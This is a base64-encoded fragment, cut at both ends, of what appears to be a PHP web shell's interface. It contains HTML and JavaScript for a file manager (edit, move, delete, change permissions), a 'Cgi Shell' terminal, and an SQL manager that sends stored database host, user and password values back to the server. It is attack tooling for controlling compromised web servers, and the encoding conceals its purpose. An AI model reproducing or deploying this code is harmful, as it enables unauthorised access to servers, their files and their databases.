hY2tncm91bmQ6cmdiYSgwLCAwLCAwLCAwLjY5KTsnPjxkaXYgY2xhc3M9J2VkaXRvci13cmFwcGVyJz48ZGl2IGNsYXNzPSdlZGl0b3ItaGVhZGVyJz48ZGl2IGNsYXNzPSdvcHQtdGl0bGUnPjwvZGl2PjxkaXYgY2xhc3M9J2VkaXRvci1jb250cm9sbGVyJz48ZGl2IGNsYXNzPSdlZGl0b3ItbWluaW1pemUnIG9uQ2xpY2s9J2VkaXRvck1pbmltaXplKFwib3B0aW9uc193aW5kb3dcIik7Jz48L2Rpdj48ZGl2IG9uQ2xpY2s9J2VkaXRvckNsb3NlKFwib3B0aW9uc193aW5kb3dcIik7JyBjbGFzcz0nY2xvc2UtYnV0dG9uJz48L2Rpdj48L2Rpdj48L2Rpdj48ZGl2IHN0eWxlPSdoZWlnaHQ6MTAwJTsnIGNsYXNzPSdjb250ZW50X29wdGlvbnNfaG9sZGVyJz48ZGl2IGNsYXNzPSdvcHRpb25zX3RhYic+PC9kaXY+PGRpdiBjbGFzcz0nb3B0aW9uc19jb250ZW50JyBzdHlsZT0nbWFyZ2luLWxlZnQ6MTRweDttYXJnaW4tcmlnaHQ6MzBweDtiYWNrZ3JvdW5kOiMwMDA7b3ZlcmZsb3c6YXV0bzsnPjwvZGl2PjwvZGl2PjwvZGl2PjwvZGl2PgoKPGRpdiBpZD0nZGF0YWJhc2Vfd2luZG93JyBzdHlsZT0nYmFja2dyb3VuZDpyZ2JhKDAsIDAsIDAsIDAuNjkpOyc+PGRpdiBjbGFzcz0nZWRpdG9yLXdyYXBwZXInPjxkaXYgY2xhc3M9J2VkaXRvci1oZWFkZXInPjxkaXYgY2xhc3M9J29wdC10aXRsZSc+U3FsIE1hbmFnZXI8L2Rpdj48ZGl2IGNsYXNzPSdlZGl0b3ItY29udHJvbGxlcic+PGRpdiBjbGFzcz0nZWRpdG9yLW1pbmltaXplJyBvbkNsaWNrPSdlZGl0b3JNaW5pbWl6ZShcImRhdGFiYXNlX3dpbmRvd1wiKTsnPjwvZGl2PjxkaXYgb25DbGljaz0nZWRpdG9yQ2xvc2UoXCJkYXRhYmFzZV93aW5kb3dcIik7JyBjbGFzcz0nY2xvc2UtYnV0dG9uJz48L2Rpdj48L2Rpdj48L2Rpdj48ZGl2IGNsYXNzPSdjb250ZW50X29wdGlvbnNfaG9sZGVyJyBzdHlsZT0nbWFyZ2luLWxlZnQ6MTRweDttYXJnaW4tcmlnaHQ6MzBweDtiYWNrZ3JvdW5kOiMwMDA7bWF4LWhlaWdodDo5MCU7Jz48ZGl2IGNsYXNzPSdzcWwtdGFicyc+PC9kaXY+PGRpdiBjbGFzcz0nc3FsLWNvbnRlbnRzJyBzdHlsZT0nbWF4LWhlaWdodDogODV2aDsnPjwvZGl2PjwvZGl2PjwvZGl2PjwvZGl2PgoKPGRpdiBpZD0nY2dpbG9hZGVyJz48ZGl2IGNsYXNzPSdlZGl0b3Itd3JhcHBlcic+PGRpdiBjbGFzcz0nZWRpdG9yLWhlYWRlcic+PGRpdiBjbGFzcz0nb3B0LXRpdGxlJz48L2Rpdj48ZGl2IGNsYXNzPSdlZGl0b3ItY29udHJvbGxlcic+PGRpdiBjbGFzcz0nZWRpdG9yLW1pbmltaXplJyBvbkNsaWNrPSdlZGl0b3JNaW5pbWl6ZShcImNnaWxvYWRlclwiKTsnPjwvZGl2PjxkaXYgb25DbGljaz0nZWRpdG9yQ2xvc2UoXCJjZ2lsb2FkZXJcIik7JyBjbGFzcz0nY2xvc2UtYnV0dG9uJz48L2Rpdj48L2Rpdj48L2Rpdj48ZGl2IGlkPSdjZ2lmcmFtZScgc3R5bGU9J3Bvc2l0aW9uOnJlbGF0aXZlO21hcmdpbi1sZWZ0OjE0cHg7bWFyZ2luLXJpZ2h0OjMwcHg7Jz48ZGl2IGNsYXNzPSd0ZXJtaW5hbC10YWJzJz48L2Rpdj48ZGl2IHN0eWxlPSdoZWlnaHQ6OTAlOycgY2xhc3M9J3Rlcm1pbmFsLWNvbnRlbnRzJz48L2Rpdj48L2Rpdj48L2Rpdj48L2Rpdj4KPGRpdiBpZD0nZWRpdG9yJyBzdHlsZT0nZGlzcGxheTpub25lOyc+PGRpdiBjbGFzcz0nZWRpdG9yLXdyYXBwZXInPjxkaXYgY2xhc3M9J2VkaXRvci1oZWFkZXInPjxkaXYgY2xhc3M9J2VkaXRvci1wYXRoJz48L2Rpdj48ZGl2IGNsYXNzPSdlZGl0b3ItY29udHJvbGxlcic+PGRpdiBjbGFzcz0nZWRpdG9yLW1pbmltaXplJyBvbkNsaWNrPSdlZGl0b3JNaW5pbWl6ZShcImVkaXRvclwiKTsnPjwvZGl2PjxkaXYgb25DbGljaz0nZWRpdG9yQ2xvc2UoXCJlZGl0b3JcIik7JyBjbGFzcz0nY2xvc2UtYnV0dG9uJz48L2Rpdj48L2Rpdj48L2Rpdj48ZGl2IG9uY2xpY2s9J2hpc3RvcnlQYW5lbENvbnRyb2xsZXIodGhpcyk7JyBtb2RlPSd2aXNpYmxlJyBjbGFzcz0naGlzdG9yeS1wYW5lbC1jb250cm9sbGVyJz48PDwvZGl2PjxkaXYgY2xhc3M9J2VkaXRvci1leHBsb3Jlcic+PGRpdiBjbGFzcz0naGhlYWRlcic+PGRpdiBjbGFzcz0naGlzdG9yeS1jbGVhcicgb25jbGljaz0nY2xlYXJFZGl0b3JIaXN0b3J5KCk7Jz5DbGVhciBhbGw8L2Rpdj48ZGl2IGNsYXNzPSdoaGVhZGVyLXRleHQnPkhpc3Rvcnk8L2Rpdj48ZGl2IGNsYXNzPSdlZGl0b3Itc2VhcmNoJz48aW5wdXQgdHlwZT0ndGV4dCcgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOycgaWQ9J3NlYXJjaC1pbnB1dCcgcGxhY2Vob2xkZXI9J3NlYXJjaCc+PC9kaXY+PC9kaXY+PGRpdiBjbGFzcz0naGlzdG9yeS1saXN0Jz48L2Rpdj48L2Rpdj48ZGl2IGNsYXNzPSdlZGl0b3ItbW9kYWwnPjxkaXYgY2xhc3M9J2VkaXRvci1ib2R5Jz48ZGl2IGNsYXNzPSdlZGl0b3ItY29udGVudCc+PGRpdiBjbGFzcz0nZWRpdG9yLXRhYnMnPjwvZGl2PjxkaXYgY2xhc3M9J2VkaXRvci1jb250ZW50LWhvbGRlcic+PC9kaXY+PC9kaXY+PC9kaXY+PC9kaXY+PC9kaXY+PC9kaXY+CjxkaXYgaWQ9J3VwZGF0ZS1jb250ZW50Jz48L2Rpdj4KPGRpdiBpZD0nZGF0YWJhc2Vfd2luZG93LW1pbmltaXplZCcgb25jbGljaz0nc2hvd0VkaXRvcihcImRhdGFiYXNlX3dpbmRvd1wiKTsnPjxkaXYgY2xhc3M9J21pbmltaXplZC13cmFwcGVyJz48c3BhbiBjbGFzcz0nb3B0aW9uc19taW5fYmFkZ2UnPjA8L3NwYW4+PGRpdiBjbGFzcz0nbWluaW1pemVkLXRleHQnIHN0eWxlPSd0b3A6IDE1cHg7Jz5EYXRhYmFzZTwvZGl2PjwvZGl2PjwvZGl2Pgo8ZGl2IGlkPSdvcHRpb25zX3dpbmRvdy1taW5pbWl6ZWQnIG9uY2xpY2s9J3Nob3dFZGl0b3IoXCJvcHRpb25zX3dpbmRvd1wiKTsnPjxkaXYgY2xhc3M9J21pbmltaXplZC13cmFwcGVyJz48c3BhbiBjbGFzcz0nb3B0aW9uc19taW5fYmFkZ2UnPjA8L3NwYW4+PGRpdiBzdHlsZT0ndG9wOiA0cHg7JyBjbGFzcz0nbWluaW1pemVkLXRleHQnPk9wdGlvbnM8L2Rpdj48L2Rpdj48L2Rpdj4KPGRpdiBpZD0nZWRpdG9yLW1pbmltaXplZCcgb25jbGljaz0nc2hvd0VkaXRvcihcImVkaXRvclwiKTsnPjxkaXYgY2xhc3M9J21pbmltaXplZC13cmFwcGVyJz48c3BhbiBjbGFzcz0nb3B0aW9uc19taW5fYmFkZ2UnPjA8L3NwYW4+PGRpdiBzdHlsZT0ndG9wOiAycHg7JyBjbGFzcz0nbWluaW1pemVkLXRleHQnPkVkaXRvcjwvZGl2PjwvZGl2PjwvZGl2Pgo8ZGl2IGlkPSdjZ2lsb2FkZXItbWluaW1pemVkJyBvbmNsaWNrPSdzaG93RWRpdG9yKFwiY2dpbG9hZGVyXCIpOyc+PGRpdiBjbGFzcz0nbWluaW1pemVkLXdyYXBwZXInPjxzcGFuIGNsYXNzPSdvcHRpb25zX21pbl9iYWRnZSc+MDwvc3Bhbj48ZGl2IHN0eWxlPSd0b3A6IDEycHg7JyBjbGFzcz0nbWluaW1pemVkLXRleHQnPkNnaSBTaGVsbDwvZGl2PjwvZGl2PjwvZGl2Pgo8ZGl2IGlkPSdyaWdodGNsaWNrX21lbnUnPgogIDxhIHRhcmdldD0nX2JsYW5rJyBocmVmPScnIG5hbWU9J25ld3RhYic+PGltZyBzcmM9XCJodHRwczovL3BuZy5wbmd0cmVlLmNvbS9wbmctY2xpcGFydC8yMDIzMDMwOC9vdXJtaWQvcG5ndHJlZS1sb2dvLWdhcnVkYS1wYW5jYXNpbGEtcmVkLXdoaXRlLWVhZ2xlLWZvci1kZnQtcHJpbnQtZnJlZS1kb3dubG9hZC1wbmctaW1hZ2VfNjYzNzE1OS5wbmdcIj4gT3BlbiBpbiBuZXcgdGFiPC9hPgogIDxhIHRhcmdldD0nX2JsYW5rJyBocmVmPScnIG5hbWU9J2xpbmsnPjxpbWcgc3JjPVwiaHR0cHM6Ly9wbmcucG5ndHJlZS5jb20vcG5nLWNsaXBhcnQvMjAyMzAzMDgvb3VybWlkL3BuZ3RyZWUtbG9nby1nYXJ1ZGEtcGFuY2FzaWxhLXJlZC13aGl0ZS1lYWdsZS1mb3ItZGZ0LXByaW50LWZyZWUtZG93bmxvYWQtcG5nLWltYWdlXzY2MzcxNTkucG5nXCI+IE9wZW4gZmlsZSBkaXJlY3RseTwvYT4KICA8YSBocmVmPSdqYXZhc2NyaXB0OnZvaWQoMCk7JyBuYW1lPSdkb3dubG9hZCc+PGltZyBzcmM9XCJodHRwczovL3BuZy5wbmd0cmVlLmNvbS9wbmctY2xpcGFydC8yMDIzMDMwOC9vdXJtaWQvcG5ndHJlZS1sb2dvLWdhcnVkYS1wYW5jYXNpbGEtcmVkLXdoaXRlLWVhZ2xlLWZvci1kZnQtcHJpbnQtZnJlZS1kb3dubG9hZC1wbmctaW1hZ2VfNjYzNzE1OS5wbmdcIj4gRG93bmxvYWQ8L2E+CiAgPGEgaHJlZj0nJyBuYW1lPSd2aWV3Jz48aW1nIHNyYz1cImh0dHBzOi8vcG5nLnBuZ3RyZWUuY29tL3BuZy1jbGlwYXJ0LzIwMjMwMzA4L291cm1pZC9wbmd0cmVlLWxvZ28tZ2FydWRhLXBhbmNhc2lsYS1yZWQtd2hpdGUtZWFnbGUtZm9yLWRmdC1wcmludC1mcmVlLWRvd25sb2FkLXBuZy1pbWFnZV82NjM3MTU5LnBuZ1wiPiBWaWV3PC9hPgogIDxhIGhyZWY9J2phdmFzY3JpcHQ6dm9pZCgwKTsnIG9uY2xpY2s9J2hva2lTeW5jTWVudVRvT3B0KHRoaXMpOycgcGF0aD0nJyBmbmFtZT0nJyBuYW1lPSd2aWV3X2FyY2hpdmUnPjxpbWcgc3JjPVwiaHR0cHM6Ly9wbmcucG5ndHJlZS5jb20vcG5nLWNsaXBhcnQvMjAyMzAzMDgvb3VybWlkL3BuZ3RyZWUtbG9nby1nYXJ1ZGEtcGFuY2FzaWxhLXJlZC13aGl0ZS1lYWdsZS1mb3ItZGZ0LXByaW50LWZyZWUtZG93bmxvYWQtcG5nLWltYWdlXzY2MzcxNTkucG5nXCI+IFZpZXcgQXJjaGl2ZTwvYT4KICA8YSBocmVmPScnIG5hbWU9J2VkaXQnPjxpbWcgc3JjPVwiaHR0cHM6Ly9wbmcucG5ndHJlZS5jb20vcG5nLWNsaXBhcnQvMjAyMzAzMDgvb3VybWlkL3BuZ3RyZWUtbG9nby1nYXJ1ZGEtcGFuY2FzaWxhLXJlZC13aGl0ZS1lYWdsZS1mb3ItZGZ0LXByaW50LWZyZWUtZG93bmxvYWQtcG5nLWltYWdlXzY2MzcxNTkucG5nXCI+IEVkaXQ8L2E+CiAgPGEgaHJlZj0namF2YXNjcmlwdDp2b2lkKDApOycgb25jbGljaz0naG9raVBvcHVwQWN0aW9uKHRoaXMsIFwibW92ZVwiKTsnIGZ0eXBlPScnIHBhdGg9JycgZm5hbWU9JycgaHJlZj0nJyBocmVmPScnIG5hbWU9J21vdmUnPjxpbWcgc3JjPVwiaHR0cHM6Ly9wbmcucG5ndHJlZS5jb20vcG5nLWNsaXBhcnQvMjAyMzAzMDgvb3VybWlkL3BuZ3RyZWUtbG9nby1nYXJ1ZGEtcGFuY2FzaWxhLXJlZC13aGl0ZS1lYWdsZS1mb3ItZGZ0LXByaW50LWZyZWUtZG93bmxvYWQtcG5nLWltYWdlXzY2MzcxNTkucG5nXCI+IE1vdmU8L2E+CiAgPGEgaHJlZj0namF2YXNjcmlwdDp2b2lkKDApOycgb25jbGljaz0naG9raVBvcHVwQWN0aW9uKHRoaXMsIFwiY29weVwiKTsnIGZ0eXBlPScnIHBhdGg9JycgZm5hbWU9JycgaHJlZj0nJyBuYW1lPSdjb3B5Jz48aW1nIHNyYz1cImh0dHBzOi8vcG5nLnBuZ3RyZWUuY29tL3BuZy1jbGlwYXJ0LzIwMjMwMzA4L291cm1pZC9wbmd0cmVlLWxvZ28tZ2FydWRhLXBhbmNhc2lsYS1yZWQtd2hpdGUtZWFnbGUtZm9yLWRmdC1wcmludC1mcmVlLWRvd25sb2FkLXBuZy1pbWFnZV82NjM3MTU5LnBuZ1wiPiBDb3B5PC9hPgogIDxhIGhyZWY9J2phdmFzY3JpcHQ6dm9pZCgwKTsnIG9uY2xpY2s9J2hva2lQb3B1cEFjdGlvbih0aGlzLCBcInJlbmFtZVwiKTsnIGZ0eXBlPScnIHBhdGg9JycgZm5hbWU9JycgbmFtZT0ncmVuYW1lJz48aW1nIHNyYz1cImh0dHBzOi8vcG5nLnBuZ3RyZWUuY29tL3BuZy1jbGlwYXJ0LzIwMjMwMzA4L291cm1pZC9wbmd0cmVlLWxvZ28tZ2FydWRhLXBhbmNhc2lsYS1yZWQtd2hpdGUtZWFnbGUtZm9yLWRmdC1wcmludC1mcmVlLWRvd25sb2FkLXBuZy1pbWFnZV82NjM3MTU5LnBuZ1wiPiAgUmVuYW1lPC9hPgogIDxhIGhyZWY9J2phdmFzY3JpcHQ6dm9pZCgwKTsnIG9uY2xpY2s9J2hva2lQb3B1cEFjdGlvbih0aGlzLCBcIm1vZGlmeVwiKTsnIGZ0eXBlPScnIHBhdGg9JycgZm5hbWU9JycgbmFtZT0nbW9kaWZ5Jz48aW1nIHNyYz1cImh0dHBzOi8vcG5nLnBuZ3RyZWUuY29tL3BuZy1jbGlwYXJ0LzIwMjMwMzA4L291cm1pZC9wbmd0cmVlLWxvZ28tZ2FydWRhLXBhbmNhc2lsYS1yZWQtd2hpdGUtZWFnbGUtZm9yLWRmdC1wcmludC1mcmVlLWRvd25sb2FkLXBuZy1pbWFnZV82NjM3MTU5LnBuZ1wiPiAgTW9kaWZ5PC9hPgogIDxhIGhyZWY9J2phdmFzY3JpcHQ6dm9pZCgwKTsnIG9uY2xpY2s9J2hva2lQb3B1cEFjdGlvbih0aGlzLCBcInBlcm1pc3Npb25cIik7JyBuYW1lPSdwZXJtaXNzaW9uJz48aW1nIHNyYz1cImh0dHBzOi8vcG5nLnBuZ3RyZWUuY29tL3BuZy1jbGlwYXJ0LzIwMjMwMzA4L291cm1pZC9wbmd0cmVlLWxvZ28tZ2FydWRhLXBhbmNhc2lsYS1yZWQtd2hpdGUtZWFnbGUtZm9yLWRmdC1wcmludC1mcmVlLWRvd25sb2FkLXBuZy1pbWFnZV82NjM3MTU5LnBuZ1wiPiBDaGFuZ2UgUGVybWlzc2lvbnM8L2E+CiAgPGEgaHJlZj0namF2YXNjcmlwdDp2b2lkKDApOycgb25jbGljaz0naG9raVN5bmNNZW51VG9PcHQodGhpcyk7JyBwYXRoPScnIGZuYW1lPScnIG5hbWU9J2NvbXByZXNzJz48aW1nIHNyYz1cImh0dHBzOi8vcG5nLnBuZ3RyZWUuY29tL3BuZy1jbGlwYXJ0LzIwMjMwMzA4L291cm1pZC9wbmd0cmVlLWxvZ28tZ2FydWRhLXBhbmNhc2lsYS1yZWQtd2hpdGUtZWFnbGUtZm9yLWRmdC1wcmludC1mcmVlLWRvd25sb2FkLXBuZy1pbWFnZV82NjM3MTU5LnBuZ1wiPiBDb21wcmVzczwvYT4KICA8YSBocmVmPSdqYXZhc2NyaXB0OnZvaWQoMCk7JyBvbmNsaWNrPSdob2tpU3luY01lbnVUb09wdCh0aGlzKTsnIHBhdGg9JycgZm5hbWU9JycgbmFtZT0nZXh0cmFjdCc+PGltZyBzcmM9XCJodHRwczovL3BuZy5wbmd0cmVlLmNvbS9wbmctY2xpcGFydC8yMDIzMDMwOC9vdXJtaWQvcG5ndHJlZS1sb2dvLWdhcnVkYS1wYW5jYXNpbGEtcmVkLXdoaXRlLWVhZ2xlLWZvci1kZnQtcHJpbnQtZnJlZS1kb3dubG9hZC1wbmctaW1hZ2VfNjYzNzE1OS5wbmdcIj4gRXh0cmFjdDwvYT4KICA8YSBocmVmPSdqYXZhc2NyaXB0OnZvaWQoMCk7JyBuYW1lPSdkZWxldGUnPjxpbWcgc3JjPVwiaHR0cHM6Ly9wbmcucG5ndHJlZS5jb20vcG5nLWNsaXBhcnQvMjAyMzAzMDgvb3VybWlkL3BuZ3RyZWUtbG9nby1nYXJ1ZGEtcGFuY2FzaWxhLXJlZC13aGl0ZS1lYWdsZS1mb3ItZGZ0LXByaW50LWZyZWUtZG93bmxvYWQtcG5nLWltYWdlXzY2MzcxNTkucG5nXCI+IERlbGV0ZTwvYT4KPC9kaXY+CjxkaXYgaWQ9XCJmaWxlc21hbi10YWItZnVsbC1wYXRoXCI+PC9kaXY+CjxkaXYgaWQ9J2FsZXJ0LWFyZWEnIGNsYXNzPSdhbGVydC1hcmVhJz48L2Rpdj4KPGRpdiBjbGFzcz0nY2wtcG9wdXAtZml4ZWQnIHN0eWxlPSdkaXNwbGF5Om5vbmU7Jz4KCTxkaXYgaWQ9J3Nob3J0Y3V0TWVudS1ob2xkZXInPgoJCTxkaXYgY2xhc3M9J3BvcHVwLWhlYWQnPjwvZGl2PgoJCQk8Zm9ybSBhdXRvY29tcGxldGU9J29mZicgb25TdWJtaXQ9J3JldHVybiBmYWxzZTsnPgoJCQkJPGxhYmVsIGNsYXNzPSdvbGQtcGF0aC1sYmwnPjwvbGFiZWw+CgkJCQk8ZGl2IHN0eWxlPSdvdmVyZmxvdzogaGlkZGVuO3doaXRlLXNwYWNlOiBub3dyYXA7dGV4dC1vdmVyZmxvdzogZWxsaXBzaXM7JyBjbGFzcz0nb2xkLXBhdGgtY29udGVudCc+PC9kaXY+CgkJCQk8bGFiZWwgc3R5bGU9J21hcmdpbi10b3A6MTBweDsnIGNsYXNzPSduZXctZmlsZW5hbWUtbGJsJz5OZXcgZmlsZSBuYW1lPC9sYWJlbD4KCQkJCTxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdmbmFtZSc+CgkJCQk8ZGl2IGNsYXNzPSdwZXJtLXRhYmxlLWhvbGRlcic+CgkJCQkJPHRhYmxlPgoJCQkJCSAgIDx0Ym9keT4KCQkJCQkgICAgICA8dHI+CgkJCQkJICAgICAgICAgPHRkPjxiPk1vZGU8L2I+PC90ZD4KCQkJCQkgICAgICAgICA8dGQ+VXNlcjwvdGQ+CgkJCQkJICAgICAgICAgPHRkPkdyb3VwPC90ZD4KCQkJCQkgICAgICAgICA8dGQ+V29ybGQ8L3RkPgoJCQkJCSAgICAgIDwvdHI+CgkJCQkJICAgICAgPHRyPgoJCQkJCSAgICAgICAgIDx0ZD5SZWFkPC90ZD4KCQkJCQkgICAgICAgICA8dGQ+PGlucHV0IHR5cGU9J2NoZWNrYm94JyBuYW1lPSd1cicgdmFsdWU9JzQnIG9uY2xpY2s9J2NhbGNwZXJtKCk7Jz48L3RkPgoJCQkJCSAgICAgICAgIDx0ZD48aW5wdXQgdHlwZT0nY2hlY2tib3gnIG5hbWU9J2dyJyB2YWx1ZT0nNCcgb25jbGljaz0nY2FsY3Blcm0oKTsnPjwvdGQ+CgkJCQkJICAgICAgICAgPHRkPjxpbnB1dCB0eXBlPSdjaGVja2JveCcgbmFtZT0nd3InIHZhbHVlPSc0JyBvbmNsaWNrPSdjYWxjcGVybSgpOyc+PC90ZD48L3RyPgoJCQkJCSAgICAgIDx0cj4KCQkJCQkgICAgICAgICA8dGQ+V3JpdGU8L3RkPgoJCQkJCSAgICAgICAgIDx0ZD48aW5wdXQgdHlwZT0nY2hlY2tib3gnIG5hbWU9J3V3JyB2YWx1ZT0nMicgb25jbGljaz0nY2FsY3Blcm0oKTsnPjwvdGQ+CgkJCQkJICAgICAgICAgPHRkPjxpbnB1dCB0eXBlPSdjaGVja2JveCcgbmFtZT0nZ3cnIHZhbHVlPScyJyBvbmNsaWNrPSdjYWxjcGVybSgpOyc+PC90ZD4KCQkJCQkgICAgICAgICA8dGQ+PGlucHV0IHR5cGU9J2NoZWNrYm94JyBuYW1lPSd3dycgdmFsdWU9JzInIG9uY2xpY2s9J2NhbGNwZXJtKCk7Jz48L3RkPgoJCQkJCSAgICAgIDwvdHI+CgkJCQkJICAgICAgPHRyPgoJCQkJCSAgICAgICAgIDx0ZD5FeGVjdXRlPC90ZD4KCQkJCQkgICAgICAgICA8dGQ+PGlucHV0IHR5cGU9J2NoZWNrYm94JyBuYW1lPSd1eCcgdmFsdWU9JzEnIG9uY2xpY2s9J2NhbGNwZXJtKCk7Jz48L3RkPgoJCQkJCSAgICAgICAgIDx0ZD48aW5wdXQgdHlwZT0nY2hlY2tib3gnIG5hbWU9J2d4JyB2YWx1ZT0nMScgb25jbGljaz0nY2FsY3Blcm0oKTsnPjwvdGQ+CgkJCQkJICAgICAgICAgPHRkPjxpbnB1dCB0eXBlPSdjaGVja2JveCcgbmFtZT0nd3gnIHZhbHVlPScxJyBvbmNsaWNrPSdjYWxjcGVybSgpOyc+PC90ZD4KCQkJCQkgICAgICA8L3RyPgoJCQkJCSAgICAgIDx0cj4KCQkJCQkgICAgICAgICA8dGQ+UGVybWlzc2lvbjwvdGQ+CgkJCQkJICAgICAgICAgPHRkPjxpbnB1dCBzdHlsZT0nd2lkdGg6NjBweDsnIHR5cGU9J3RleHQnIG5hbWU9J3UnIG1heGxlbmd0aD0nMScgb25pbnB1dD0ndGhpcy52YWx1ZT10aGlzLnZhbHVlLnJlcGxhY2UoL1teMC03XS9nLDApO2F1dG9DaGVja1Blcm1zKHRoaXMudmFsdWUsIFwidVwiLCBbXCJ1XCJdKTsnPjwvdGQ+CgkJCQkJICAgICAgICAgPHRkPjxpbnB1dCBzdHlsZT0nd2lkdGg6NjBweDsnIHR5cGU9J3RleHQnIG5hbWU9J2cnIG1heGxlbmd0aD0nMScgb25pbnB1dD0ndGhpcy52YWx1ZT10aGlzLnZhbHVlLnJlcGxhY2UoL1teMC03XS9nLDApO2F1dG9DaGVja1Blcm1zKHRoaXMudmFsdWUsIFwiZ1wiLCBbXCJnXCJdKTsnPjwvdGQ+CgkJCQkJICAgICAgICAgPHRkPjxpbnB1dCBzdHlsZT0nd2lkdGg6NjBweDsnIHR5cGU9J3RleHQnIG5hbWU9J3cnIG1heGxlbmd0aD0nMScgb25pbnB1dD0ndGhpcy52YWx1ZT10aGlzLnZhbHVlLnJlcGxhY2UoL1teMC03XS9nLDApO2F1dG9DaGVja1Blcm1zKHRoaXMudmFsdWUsIFwid1wiLCBbXCJ3XCJdKTsnPjwvdGQ+CgkJCQkJICAgICAgPC90cj4KCQkJCQkgICA8L3Rib2R5PgoJCQkJCTwvdGFibGU+CgkJCQk8L2Rpdj4KCgkJCTwvZm9ybT4KCQk8ZGl2IGNsYXNzPSdwb3B1cC1mb290Jz4KCQkJPGJ1dHRvbiBzdHlsZT0nYmFja2dyb3VuZDogIzJiNTIyNTsnIG5hbWU9J2FjY2VwdCcgYWN0aW9uPScnIG9uY2xpY2s9J2hva2lQb3BVcERvQWN0aW9uKHRoaXMpOyc+PC9idXR0b24+CgkJCTxidXR0b24gc3R5bGU9J2JhY2tncm91bmQ6ICM5ZTJjMmM7JyBvbmNsaWNrPSdkLnF1ZXJ5U2VsZWN0b3IoXCIuY2wtcG9wdXAtZml4ZWRcIikuc3R5bGUuZGlzcGxheT1cIm5vbmVcIjsnPkNhbmNlbGw8L2J1dHRvbj4KCQk8L2Rpdj4KCTwvZGl2Pgo8L2Rpdj4iOz8+CjxzY3JpcHQ+CmZ1bmN0aW9uIGhva2lNeXNxbEFwaShlLHQpe3ZhciBhPXtob3N0Om15c3FsX2NhY2hlW2UuZGJfaWRdLmhvc3QsdXNlcjpteXNxbF9jYWNoZVtlLmRiX2lkXS51c2VyLHBhc3M6bXlzcWxfY2FjaGVbZS5kYl9pZF0ucGFzcyxkYjplLmRiX3RhcmdldCxkYl9pZDplLmRiX2lkfTtpZihlLmhhc093blByb3BlcnR5KCJkYl9pbmZvIikpZm9yKHZhciBpIGluIGUuZGJfaW5mbylhW2ldPWUuZGJfaW5mb1tpXTt2YXIgbD17YTpob2tpYjY0KCJTcWxfbWFuYWdlcl9hcGkiKSxjXzpob2tpYjY0KGNfKSxob2tpMTpob2tpYjY0KEpTT04uc3RyaW5naWZ5KGEpKX07aWYoZS5oYXNPd25Qcm9wZXJ0eSgicG9zdCIpKWZvcih2YXIgaSBpbiBlLnBvc3QuaGFzT3duUHJvcGVydHkoImhva2kyIikmJiJsb2FkX2RhdGEiIT1lLnBvc3QuaG9raTImJiJwYWdlIiE9ZS5wb3N0Lmhva2kyJiYiZWRpdCIhPWUucG9zdC5ob2tpMiYmImRlbGV0ZSIhPWUucG9zdC5ob2tpMiYmKGQucXVlcnlTZWxlY3RvcigiIyIrZS5kYl9pZCsiIC5teXNxbC1xdWVyeS1yZXN1bHQtaGVhZGVyIC5teXNxbC1xdWVyeS1wYWdlciIpLmlubmVySFRNTD0iIixkLnF1ZXJ5U2VsZWN0b3IoIiMiK2UuZGJfaWQrIiAubXlzcWwtcXVlcnktcmVzdWx0LWhlYWRlciAubXlzcWwtcXVlcnktcmVwb3J0ZXIiKS5pbm5lckhUTUw9IiIpLGUucG9zdClsW2ldPWhva2liNjQoZS5wb3N0W2ldKTt2YXIgcj0iIjtmb3IodmFyIG8gaW4gbClyKz1vKyI9IitsW29dKyImIjtob2tpbG9hZGVyKGUuZGJfaWQsImJsb2NrIiksX0FqYXgoZC5VUkwscixmdW5jdGlvbihhKXtob2tpbG9hZGVyKGUuZGJfaWQsIm5vbmUiKSx0KGEpfSwhMCxlLmRiX2lkKX1mdW5jdGlvbiBob2tpTXlzcWxGaWx0ZXJUYWJsZShlLHQpe3NldFRpbWVvdXQoZnVuY3Rpb24oKXt2YXIgYT0iIixpPSIiLGw9KGE9IiIsIiIpO2lmKG51bGwhPWUpYT1lLmdldEF0dHJpYnV0ZSgidGFyZ2V0IiksaT1lLmdldEF0dHJpYnV0ZSgiZGJfaWQiKSxsPWUudmFsdWU7ZWxzZSBhPXQudGFyZ2V0LGk9dC5kYl9pZCxsPXQudmFsdWU7bD1uZXcgUmVnRXhwKGwsImkiKSxkLnF1ZXJ5U2VsZWN0b3JBbGwoIiMiK2krIiAiK2ErIiB1bCA+IGxpIikuZm9yRWFjaChmdW5jdGlvbihlKXt2YXIgdD1lLnF1ZXJ5U2VsZWN0b3IoIi5teXNxbF90YWJsZXMiKTtpZihudWxsPT10KXJldHVybiExOy0xPT0odD10LmlubmVyVGV4dCkuc2VhcmNoKGwpP2Uuc3R5bGUuZGlzcGxheT0ibm9uZSI6ZS5zdHlsZS5kaXNwbGF5PSJibG9jayJ9KX0sMjAwKX1mdW5jdGlvbiBob2tpTXlzcWxGaWx0ZXJBbGxUYWJsZShlLHQpe3ZhciBhPWUuZ2V0QXR0cmlidXRlKCJkYl9pZCIpLGk9ZC5xdWVyeVNlbGVjdG9yKCIjIithKyIgLm15c3FsLXRhYmxlcyBpbnB1dFtuYW1lPWZpbHRlcl9hbGxdIikudmFsdWUsbD1kLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiBpbnB1dFtuYW1lPXNxbF9jb3VudF0iKS5jaGVja2VkLHI9W10sbz1bXTtpZihkLnF1ZXJ5U2VsZWN0b3JBbGwoIiMiK2ErIiAubXlzcWwtdGFibGVzIC5saXN0X2NvbnRhaW5lciIpLmZvckVhY2goZnVuY3Rpb24oZSl7dmFyIHQ9ZS5nZXRBdHRyaWJ1dGUoIm1vZGUiKSxhPWUuZ2V0QXR0cmlidXRlKCJkYl9uYW1lIik7Im5vIj09dCYmci5wdXNoKGEpLG8ucHVzaChhKX0pLHIubGVuZ3RoPjApe2lmKDA9PWkubGVuZ3RoJiZ2b2lkIDA9PT10KXJldHVybiExO2hva2lNeXNxbEFwaSh7ZGJfaWQ6YSxkYl90YXJnZXQ6clswXSxhamF4X2lkOiJteXNxbF9nZXRfYWxsX3RhYmxlcyIsZGJfaW5mbzp7ZGF0YWJhc2VzOnJ9LHBvc3Q6e2hva2kyOiJsb2FkX2FsbF90YWJsZXMiLGhva2kzOmx9fSxmdW5jdGlvbihyKXtpZigwIT1yLmxlbmd0aCl7Zm9yKHZhciBvIGluIHI9SlNPTi5wYXJzZShyKSl7dmFyIG49byxzPWQucXVlcnlTZWxlY3RvcigiIyIrYSsiIC5jbHMtIituKTtob2tpTXlzcWxNYWtlVGJsTGlzdChyW29dLHMsYSxuL